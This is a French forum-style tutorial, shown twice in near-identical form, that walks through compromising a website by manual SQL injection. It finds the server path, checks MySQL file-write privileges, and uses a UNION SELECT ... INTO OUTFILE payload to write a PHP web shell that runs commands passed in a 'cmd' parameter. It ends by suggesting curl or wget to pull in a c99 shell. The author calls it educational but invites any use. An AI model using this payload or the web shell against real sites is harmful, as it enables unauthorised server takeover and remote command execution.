Bonjour j'avais envie de vous montrer comment upload un shell via une injection sqli manuellement.
Avant toute chose, je fait ce tutoriel à titre éducatif (après fait comme vous voulez, je suis pas un donneur de leçon)
Let's go boy
Avant tout chose je vais prendre un site réel (que je corrige actuellement), mais par sécurité j'en garderai l'anonymat.
Et sachez aussi que plusieurs méthodes sont possibles (soit upload un shell, ou bien aussi créer un uploader de fichier)
Pour savoir si on peut injecter du code dans un fichier php d'un site, il faut savoir si on as un droit en lecture et écriture sur ce site.
Comment savoir celà, tout simplement avec un petit commande sql et connaitre le full path disclosure(là où l'on va écrire votre shell).
Prenons en exemple sur le site www.shellsqli.fr, et regardons l'erreur après l'ajout d'un quote dans l'url(NB: j'espère que vous connaissez les bases d'une injection sqli)
Voilà déjà le full path disclosure de trouver, maintenant on va regarder si on as un droit de lecture et d'écriture sur ce site.
Comment? Regarder c'est très simple.On a juste interroger mysql.user avec la command concat(user(),file_priv) from mysql.user.
file_priv étant le droit de l'user()
Parfait tout ça donc l'user ce nomme [email protected] , et le Y signifie Yes, donc l'user à un droit d'écriture.
Maintenant on à tout ce qu'il nous faut pour continuer.
Le but ici, est d'envoie du code PHP via la colonnes vulnérable de l'injection SQL dans le full path disclosure
Le code php:
Le full path disclosure:
Donc l'injection deviens:
Voilà cette injection renvoie une erreur, mais quelle belle erreur en faite, car elle indique que l'injection a bien fonctionner.
Voilà pour finir allons sur notre shell ,que nous venons de créer et via le cmd, et affichons les fichiers avec la commande "dir"
Voilà le listing s'affiche bien correctement, maintenant vous pouvais aussi utiliser curl ou wget pour upload un shell de type c99.php.
Voilà j'espère que ce tutoriel vous aura plus
PS:je ne suis pas un expert en toutes choses, donc les critiques ou modifications ,pour apporté un plus est bienvenue.
Avant toute chose, je fait ce tutoriel à titre éducatif (après fait comme vous voulez, je suis pas un donneur de leçon)
Let's go boy
Avant tout chose je vais prendre un site réel (que je corrige actuellement), mais par sécurité j'en garderai l'anonymat.
Et sachez aussi que plusieurs méthodes sont possibles (soit upload un shell, ou bien aussi créer un uploader de fichier)
Pour savoir si on peut injecter du code dans un fichier php d'un site, il faut savoir si on as un droit en lecture et écriture sur ce site.
Comment savoir celà, tout simplement avec un petit commande sql et connaitre le full path disclosure(là où l'on va écrire votre shell).
Prenons en exemple sur le site www.shellsqli.fr, et regardons l'erreur après l'ajout d'un quote dans l'url(NB: j'espère que vous connaissez les bases d'une injection sqli)
Voilà déjà le full path disclosure de trouver, maintenant on va regarder si on as un droit de lecture et d'écriture sur ce site.
Comment? Regarder c'est très simple.On a juste interroger mysql.user avec la command concat(user(),file_priv) from mysql.user.
file_priv étant le droit de l'user()
Parfait tout ça donc l'user ce nomme [email protected] , et le Y signifie Yes, donc l'user à un droit d'écriture.
Maintenant on à tout ce qu'il nous faut pour continuer.
Le but ici, est d'envoie du code PHP via la colonnes vulnérable de l'injection SQL dans le full path disclosure
Le code php:
Code:
"<?php system($_REQUEST['cmd'])?>"
Code:
/home/XXX/XXX/MonShell.php
Code:
http://siteSQLI=-938 'UNION SELECT 1,"<?php system($_REQUEST['cmd'])?>",3,4,5,6,7,8,9,10,11,12,13,14 into outfile '/home/XXX/XXX/shell.php'--+
Voilà cette injection renvoie une erreur, mais quelle belle erreur en faite, car elle indique que l'injection a bien fonctionner.
Voilà pour finir allons sur notre shell ,que nous venons de créer et via le cmd, et affichons les fichiers avec la commande "dir"
Voilà le listing s'affiche bien correctement, maintenant vous pouvais aussi utiliser curl ou wget pour upload un shell de type c99.php.
Voilà j'espère que ce tutoriel vous aura plus
PS:je ne suis pas un expert en toutes choses, donc les critiques ou modifications ,pour apporté un plus est bienvenue.
Commentaire